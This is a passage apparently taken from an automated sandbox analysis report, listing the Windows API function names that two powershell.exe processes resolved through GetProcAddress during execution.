parameter lstrlenW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ND_RI2 (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ND_RI2_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter lstrcpy (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter lstrcpyW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptGenKey (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptGetKeyParam (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptVerifySignatureA (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptSignHashA (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptGetUserKey (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CryptEnumProvidersA (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SwitchToThread (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryShim_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryShim (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ConvertLangIdToCultureName (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ND_RI4 (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ND_RI4_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter WinSqmIsOptedIn (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GlobalMemoryStatusEx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValue (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectory (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandleW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter SHGetFileInfo (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CommandLineToArgvW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter lstrlenWW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RtlMoveMemory (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter RtlMoveMemoryW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter NetApiBufferFree (UID: 00000000-00002316) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadBSTR (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter IsCharAlphaW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CharPrevW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetNetResourceFromLocalPathW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter NetShareEnum (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CscNetApiGetInterface (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SLGetWindowsInformationDWORD (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter PathRemoveFileSpecW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SwitchToThread (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetComputerNameW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter OpenSCManagerA (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter OpenServiceA (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter NotifyServiceStatusChangeA (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RpcBindingSetAuthInfoExW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RpcBindingSetOption (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter IsProcessorFeaturePresent (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter _set_error_mode (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ?set_terminate@@YAP6AXXZP6AXXZ@Z (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter _get_terminate (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegDeleteTreeA (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter RegDeleteTreeW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter SetLoadedByMscoree (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetCLRFunction (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetTraceLoggerHandle (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetTraceEnableLevel (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter NsiAllocateAndGetTable (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetTraceEnableFlags (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter TraceEvent (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CM_Open_Class_Key_ExW (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter NsiFreeTable (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter IEE (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter IEE_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetStartupFlags (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetStartupFlags_RetAddr (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter GetHostConfigurationFile (UID: 00000000-00004012) 